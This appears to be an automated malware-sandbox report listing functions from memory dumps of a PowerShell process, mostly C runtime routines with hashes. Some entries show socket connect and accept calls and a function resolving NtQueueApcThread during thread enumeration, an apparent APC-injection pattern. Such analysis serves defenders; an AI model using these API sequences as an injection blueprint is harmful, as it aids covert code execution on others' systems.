Opcode ID: 9a7e94428e85d4ed5cd8e77b1af53c202f15bf406c2c29a1a7d54b8e8c205bff
Instruction ID: 8ec6e5e2199752143b1a924499f2a51acdf5b495b6144fb0d8d8f100bf95d3e4
Opcode Fuzzy Hash: 9a7e94428e85d4ed5cd8e77b1af53c202f15bf406c2c29a1a7d54b8e8c205bff
Instruction Fuzzy Hash: 62313931B00644E5FF31EFE69EBAB6D3650A7A1B90F474125EA9117FC3CA78C441A718

Function 0000022EFA0D6E1C Relevance: 15.1, APIs: 10, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D6E4E

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__doserrno.LIBCMT ref: 0000022EFA0D6E45

Part of subcall function 0000022EFA0D1CA8: _getptd_noexit.LIBCMT ref: 0000022EFA0D1CAC

__doserrno.LIBCMT ref: 0000022EFA0D6EAB
_errno.LIBCMT ref: 0000022EFA0D6EB2
_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0D6F16

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: __doserrno_errno_getptd_noexit$_invalid_parameter_noinfo
String ID:
API String ID: 388111225-0
Opcode ID: 45b9cdfc7a25f1278b796800b15345f673bb2555b0332f4ab4807a0dfd005840
Instruction ID: 5c137410c829bf5e0ee229d2ebb25bac19e548cbcf172b189fc7b540a1380409
Opcode Fuzzy Hash: 45b9cdfc7a25f1278b796800b15345f673bb2555b0332f4ab4807a0dfd005840
Instruction Fuzzy Hash: 1A31C023720741A6EB16AFE5BA5935D2550AB897A0F974514BA111FFE3CF3CC481A710

Function 0000022EF9B3F150 Relevance: 13.6, APIs: 9, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000022EF9B3F176
_errno.LIBCMT ref: 0000022EF9B3F16B

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1812809483-0
Opcode ID: bd2089a42f628a497311986bb7142f0c797ae3413767483a07d765319bf433f4
Instruction ID: f80dabe517a76c2a09795a5d716e9c1dc033c6f9ec2531cf19861cfcfa09fd98
Opcode Fuzzy Hash: bd2089a42f628a497311986bb7142f0c797ae3413767483a07d765319bf433f4
Instruction Fuzzy Hash: 25412275710751E1FF30EBE39B28BA972A0E774BA6FD24121EAD443EC5D728C841A708

Function 0000022EFA0DFD50 Relevance: 13.6, APIs: 9, Instructions: 127COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000022EFA0DFD76
_errno.LIBCMT ref: 0000022EFA0DFD6B

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1812809483-0
Opcode ID: f9c4d6ed39d3bdcb6b80e8c2d76cc2c0cca7aaaf292465ae2b9830194cf53d53
Instruction ID: a7679a054c071b89869fe8e21eb602fa8165f87a900cb1504938d262f3715795
Opcode Fuzzy Hash: f9c4d6ed39d3bdcb6b80e8c2d76cc2c0cca7aaaf292465ae2b9830194cf53d53
Instruction Fuzzy Hash: 6341F87360035165FF60AF95B6183A93291EB5CB98F628121EA544FFE6DF3CC841E720

Function 0000022EFA0D027C Relevance: 13.6, APIs: 9, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0D0264: _mtinitlocknum.LIBCMT ref: 0000022EFA0D3DAA
Part of subcall function 0000022EFA0D0264: _amsg_exit.LIBCMT ref: 0000022EFA0D3DB6

DecodePointer.KERNEL32 ref: 0000022EFA0D02D8
DecodePointer.KERNEL32 ref: 0000022EFA0D02F6
EncodePointer.KERNEL32 ref: 0000022EFA0D0324
DecodePointer.KERNEL32 ref: 0000022EFA0D0339
EncodePointer.KERNEL32 ref: 0000022EFA0D0344
DecodePointer.KERNEL32 ref: 0000022EFA0D0356
DecodePointer.KERNEL32 ref: 0000022EFA0D0366
__crtCorExitProcess.LIBCMT ref: 0000022EFA0D03EA
ExitProcess.KERNEL32 ref: 0000022EFA0D03F2

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$EncodeExitProcess$__crt_amsg_exit_mtinitlocknum
String ID:
API String ID: 1550138920-0
Opcode ID: c0449f3fef6a4d8576451ebf1d27e0541d416188840e9d96df55a1b66d98fc2d
Instruction ID: fa32f25c5fa858a9c798552bf5486396334a60aba4add4dbc3aa5c6b90db0c7c
Opcode Fuzzy Hash: c0449f3fef6a4d8576451ebf1d27e0541d416188840e9d96df55a1b66d98fc2d
Instruction Fuzzy Hash: 01418132212B45A3EE409F91FA8C31973A4F78CB84F464029998E4BF74DF7CC555A704

Function 0000022EFA0C6500 Relevance: 13.6, APIs: 9, Instructions: 95networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 0000022EFA0C6541
htons.WS2_32 ref: 0000022EFA0C6552
socket.WS2_32 ref: 0000022EFA0C6594
closesocket.WS2_32 ref: 0000022EFA0C65A9
gethostbyname.WS2_32 ref: 0000022EFA0C65C8
htons.WS2_32 ref: 0000022EFA0C65F8
ioctlsocket.WS2_32 ref: 0000022EFA0C6612
connect.WS2_32 ref: 0000022EFA0C662A
WSAGetLastError.WS2_32 ref: 0000022EFA0C6634

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: 05f6a439e9e7b1774ef1c5ddc00099d5cfca8a0839fadce43f34e2615c209cd9
Instruction ID: 230554bf769175d005c13906dd4eca4a61093ccb290ba61c559848aaf7f97440
Opcode Fuzzy Hash: 05f6a439e9e7b1774ef1c5ddc00099d5cfca8a0839fadce43f34e2615c209cd9
Instruction Fuzzy Hash: 22310662714641A2EF359FA1FA983AA6351F74CB94F111124EE0A4BFE4DF3CC545E700

Function 0000022EFA0C6B98 Relevance: 13.6, APIs: 9, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000022EFA0C6BE0: htonl.WS2_32 ref: 0000022EFA0C6C3D
Part of subcall function 0000022EFA0C6BE0: select.WS2_32 ref: 0000022EFA0C6CAB
Part of subcall function 0000022EFA0C6BE0: __WSAFDIsSet.WS2_32 ref: 0000022EFA0C6CC3
Part of subcall function 0000022EFA0C6BE0: accept.WS2_32 ref: 0000022EFA0C6CE0
Part of subcall function 0000022EFA0C6BE0: ioctlsocket.WS2_32 ref: 0000022EFA0C6CF8
Part of subcall function 0000022EFA0C6BE0: __WSAFDIsSet.WS2_32 ref: 0000022EFA0C6D9B

GetTickCount.KERNEL32 ref: 0000022EFA0C6BAA

Part of subcall function 0000022EFA0C6F2C: malloc.LIBCMT ref: 0000022EFA0C6F5E
Part of subcall function 0000022EFA0C6F2C: htonl.WS2_32 ref: 0000022EFA0C6F91
Part of subcall function 0000022EFA0C6F2C: recvfrom.WS2_32 ref: 0000022EFA0C6FD5
Part of subcall function 0000022EFA0C6F2C: WSAGetLastError.WS2_32 ref: 0000022EFA0C6FE2

GetTickCount.KERNEL32 ref: 0000022EFA0C6BC2
GetTickCount.KERNEL32 ref: 0000022EFA0C70E0
GetTickCount.KERNEL32 ref: 0000022EFA0C70F6
shutdown.WS2_32 ref: 0000022EFA0C7115
shutdown.WS2_32 ref: 0000022EFA0C712A
closesocket.WS2_32 ref: 0000022EFA0C7134
free.LIBCMT ref: 0000022EFA0C7154
free.LIBCMT ref: 0000022EFA0C7169

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: CountTick$freehtonlshutdown$ErrorLastacceptclosesocketioctlsocketmallocrecvfromselect
String ID:
API String ID: 3610715900-0
Opcode ID: 1c403b153f4cdb51b3aa82c7904d7a2a385d985f1a2ac89a95e712731fd71160
Instruction ID: ffa5af8febb542efdefabac7579104aca57f94cb5fdc9124e9ca371ead051d92
Opcode Fuzzy Hash: 1c403b153f4cdb51b3aa82c7904d7a2a385d985f1a2ac89a95e712731fd71160
Instruction Fuzzy Hash: 31311E31200A41E2EF619FA6FA8C32963B0E74CB84F2A5525DE494FF75DB3CC495A711

Function 0000022EF9B37008 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B37033

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__doserrno.LIBCMT ref: 0000022EF9B3702B

Part of subcall function 0000022EF9B310A8: _getptd_noexit.LIBCMT ref: 0000022EF9B310AC

__lock_fhandle.LIBCMT ref: 0000022EF9B37077
_lseeki64_nolock.LIBCMT ref: 0000022EF9B37090

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock
String ID:
API String ID: 4140391395-0
Opcode ID: 19101616f3e261a9beafbca214444aa2a5cb8e231afb96d714edbab2d78f6c11
Instruction ID: 534966bcfe9796a891d41a1a4de8c8fe459df504574aaa0ddab7fd7353883352
Opcode Fuzzy Hash: 19101616f3e261a9beafbca214444aa2a5cb8e231afb96d714edbab2d78f6c11
Instruction Fuzzy Hash: FB21292230054071FF31AFE59AA9BAD7651A7A0FB1F0B4314EAB517BD2CB7CC441A728

Function 0000022EF9B36E90 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B36EBB

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__doserrno.LIBCMT ref: 0000022EF9B36EB3

Part of subcall function 0000022EF9B310A8: _getptd_noexit.LIBCMT ref: 0000022EF9B310AC

__lock_fhandle.LIBCMT ref: 0000022EF9B36EFF
_lseek_nolock.LIBCMT ref: 0000022EF9B36F18

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock
String ID:
API String ID: 310312816-0
Opcode ID: 58556fb0ae643294109593e6a1f551c1d1756168c239dbf47c2b40feda9217b5
Instruction ID: a2a1f6ddc6da6401c600f2893d9d0070394f1689c96f8238a8e401d077911cfe
Opcode Fuzzy Hash: 58556fb0ae643294109593e6a1f551c1d1756168c239dbf47c2b40feda9217b5
Instruction Fuzzy Hash: 64210B21B00540A5FF31EFE59AAEBAD6650A7A07A1F174114EA9507FD2CB78C841A71C

Function 0000022EFA0D7A90 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D7ABB

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__doserrno.LIBCMT ref: 0000022EFA0D7AB3

Part of subcall function 0000022EFA0D1CA8: _getptd_noexit.LIBCMT ref: 0000022EFA0D1CAC

__lock_fhandle.LIBCMT ref: 0000022EFA0D7AFF
_lseek_nolock.LIBCMT ref: 0000022EFA0D7B18

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseek_nolock
String ID:
API String ID: 310312816-0
Opcode ID: 689a55ff460a42ab0e8479ad490ad51203e5d8515b6f39f729bbcfe6708b8e94
Instruction ID: f54d9f9b617956cdbe525644043f23ac4cc593405634832513fa0e3af55cde44
Opcode Fuzzy Hash: 689a55ff460a42ab0e8479ad490ad51203e5d8515b6f39f729bbcfe6708b8e94
Instruction Fuzzy Hash: 2121F03370024066FF166FE5BA493AD6661AB887B5F5B5114AA150FFF3CF7C8881A320

Function 0000022EFA0D7C08 Relevance: 13.6, APIs: 9, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D7C33

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__doserrno.LIBCMT ref: 0000022EFA0D7C2B

Part of subcall function 0000022EFA0D1CA8: _getptd_noexit.LIBCMT ref: 0000022EFA0D1CAC

__lock_fhandle.LIBCMT ref: 0000022EFA0D7C77
_lseeki64_nolock.LIBCMT ref: 0000022EFA0D7C90

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno_lseeki64_nolock
String ID:
API String ID: 4140391395-0
Opcode ID: b12dde97457ee21ef34638bcae53c6e161a46aae09bdd653f8f5ca1ee8b86ca4
Instruction ID: 74a37f0deae5cc1fd1a1ab08c1dc7dfea59edd0e9c7b30c40c3e4bae36b12c63
Opcode Fuzzy Hash: b12dde97457ee21ef34638bcae53c6e161a46aae09bdd653f8f5ca1ee8b86ca4
Instruction Fuzzy Hash: 9821F92370064069FF166F95BA4936D7561AB88BB1F1B5718AA350FFF2CF3C8481A720

Function 0000022EF9B2F36C Relevance: 12.6, APIs: 10, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 0000022EF9B2F39A

Part of subcall function 0000022EF9B2E644: _errno.LIBCMT ref: 0000022EF9B2E664

free.LIBCMT ref: 0000022EF9B2F3AF
free.LIBCMT ref: 0000022EF9B2F3D0
free.LIBCMT ref: 0000022EF9B2F3E5
free.LIBCMT ref: 0000022EF9B2F3F9
free.LIBCMT ref: 0000022EF9B2F405
free.LIBCMT ref: 0000022EF9B2F430
free.LIBCMT ref: 0000022EF9B2F451
free.LIBCMT ref: 0000022EF9B2F46A
free.LIBCMT ref: 0000022EF9B2F49B

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: 819b4a270ea7d8595eaf9ac501f5b396dc923916a4c2f054388fd72371d1b91d
Instruction ID: ea9e0da19f18427fd2c0d364bcf68c07cc2d24b2883e77d9f552799045f32253
Opcode Fuzzy Hash: 819b4a270ea7d8595eaf9ac501f5b396dc923916a4c2f054388fd72371d1b91d
Instruction Fuzzy Hash: 1C312B22201A44A1FE77DFD3EBBD36423A0EBB4791F5A022989DD06E95CF68C444A35D

Function 0000022EFA0C3A64 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 113sleepprocesslibraryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0000022EFA0C3ACE
GetProcAddress.KERNEL32 ref: 0000022EFA0C3ADE

Part of subcall function 0000022EFA0C3984: malloc.LIBCMT ref: 0000022EFA0C39C2
Part of subcall function 0000022EFA0C3984: free.LIBCMT ref: 0000022EFA0C3A45

CreateToolhelp32Snapshot.KERNEL32 ref: 0000022EFA0C3B10
Thread32Next.KERNEL32 ref: 0000022EFA0C3B7A
Sleep.KERNEL32 ref: 0000022EFA0C3B90

Strings

NtQueueApcThread, xrefs: 0000022EFA0C3AD4
ntdll, xrefs: 0000022EFA0C3A99

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: AddressCreateHandleModuleNextProcSleepSnapshotThread32Toolhelp32freemalloc
String ID: NtQueueApcThread$ntdll
API String ID: 1427994231-1374908105
Opcode ID: 4682eb5fa987184764bf2e500015da157d39ace14d4a97c914713ac55f463483
Instruction ID: 05ba0cc00f16dfdea423ce6d5890c1c0c00343f6842bf68d6faf68004a1b69fe
Opcode Fuzzy Hash: 4682eb5fa987184764bf2e500015da157d39ace14d4a97c914713ac55f463483
Instruction Fuzzy Hash: 79416932711B41A9EF20CBA1EA4879CB3A4BB4CB88F4641259E4C5BFA9EF3CC545D740

Function 0000022EF9B35834 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B3585F

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__doserrno.LIBCMT ref: 0000022EF9B35857

Part of subcall function 0000022EF9B310A8: _getptd_noexit.LIBCMT ref: 0000022EF9B310AC

__lock_fhandle.LIBCMT ref: 0000022EF9B358A3

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno
String ID:
API String ID: 2611593033-0
Opcode ID: 268773e762f2e10da4a59bd6545c27f05d9dc8848c407f150f864121acff7d22
Instruction ID: 5f5e217383f83fc2556ac6a2c0d443e26d08b5f807dfe98ede1f5db070806560
Opcode Fuzzy Hash: 268773e762f2e10da4a59bd6545c27f05d9dc8848c407f150f864121acff7d22
Instruction Fuzzy Hash: B5213B2270854061FF31EFE59E6DBBD6650A7A0BA1F074214EA9907BD2CBB88441E768

Function 0000022EFA0D6434 Relevance: 12.1, APIs: 8, Instructions: 67COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D645F

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__doserrno.LIBCMT ref: 0000022EFA0D6457

Part of subcall function 0000022EFA0D1CA8: _getptd_noexit.LIBCMT ref: 0000022EFA0D1CAC

__lock_fhandle.LIBCMT ref: 0000022EFA0D64A3

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_errno
String ID:
API String ID: 2611593033-0
Opcode ID: 1700ff755fa86426cee97dc6493a8bbd2f86863ab499d60c3e97554295ddf05f
Instruction ID: 87d6bec50cba95738ddf97ef3d37bd09f0097fb1b9f8531888652046f90a91e1
Opcode Fuzzy Hash: 1700ff755fa86426cee97dc6493a8bbd2f86863ab499d60c3e97554295ddf05f
Instruction Fuzzy Hash: 0721F223B2024066FF166FA5BA4936D2950AB887A1F174114BA140FFF6DF7C8481A720

Function 0000022EFA0DA73C Relevance: 12.1, APIs: 8, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0DA755

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__lock_fhandle.LIBCMT ref: 0000022EFA0DA79D
FlushFileBuffers.KERNEL32 ref: 0000022EFA0DA7B8
GetLastError.KERNEL32 ref: 0000022EFA0DA7C2
__doserrno.LIBCMT ref: 0000022EFA0DA7D2
_errno.LIBCMT ref: 0000022EFA0DA7D9

Memory Dump Source

Source File: 00000000.00000002.4122144871.0000022EFA0B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EFA0B0000, based on PE: true

Associated: 00000000.00000002.4122144871.0000022EFA0F8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA0FE000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA101000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4122144871.0000022EFA103000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22efa0b0000_powershell.jbxd

Yara matches

Similarity

API ID: _errno$BuffersErrorFileFlushLast__doserrno__lock_fhandle_getptd_noexit
String ID:
API String ID: 2289611984-0
Opcode ID: c8931cb6991e1dcdb4b4beaef908be2012675e49725fd5fc40ebfddcb96b8d14
Instruction ID: 13bdfdbe4c078e5a4cfced77f24639c8f42e46d1c4c0e90f1230faaa46557a6e
Opcode Fuzzy Hash: c8931cb6991e1dcdb4b4beaef908be2012675e49725fd5fc40ebfddcb96b8d14
Instruction Fuzzy Hash: 8A21A12332064165FE15AFE5BBCC36D66609B88760F1B01289A150FFF2CE7C8881B355

Function 0000022EF9B35058 Relevance: 12.1, APIs: 8, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EF9B35079

Part of subcall function 0000022EF9B31118: _getptd_noexit.LIBCMT ref: 0000022EF9B3111C

__doserrno.LIBCMT ref: 0000022EF9B35071

Part of subcall function 0000022EF9B310A8: _getptd_noexit.LIBCMT ref: 0000022EF9B310AC

__lock_fhandle.LIBCMT ref: 0000022EF9B350BD
_close_nolock.LIBCMT ref: 0000022EF9B350D0

Memory Dump Source

Source File: 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000022EF9B10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22ef9b10000_powershell.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno__lock_fhandle_close_nolock_errno
String ID:
API String ID: 4060740672-0
Opcode ID: 17379182c61e94fbc4142119cfcf5b3e3f43e3e6c30bf76299a690df2e0bdcd6
Instruction ID: a1de30a9f8a26cd13b4eb83594b3cc92c6c5126487d02a7dae4f2a994434c533
Opcode Fuzzy Hash: 17379182c61e94fbc4142119cfcf5b3e3f43e3e6c30bf76299a690df2e0bdcd6
Instruction Fuzzy Hash: FC11592230868071FF31EFE59FBDBAC6610A7A1B60F1B4524D59907BC3C6FA8440A31C

Function 0000022EFA0D5C58 Relevance: 12.1, APIs: 8, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000022EFA0D5C79

Part of subcall function 0000022EFA0D1D18: _getptd_noexit.LIBCMT ref: 0000022EFA0D1D1C

__doserrno.LIBCMT ref: 0000022EFA0D5C71

Part of subcall function 0000022EFA0D1CA8: _getptd_noexit.LIBCMT ref: 0000022EFA0D1CAC

__lock_fhandle.LIBCMT ref: 0000022EFA0D5CBD
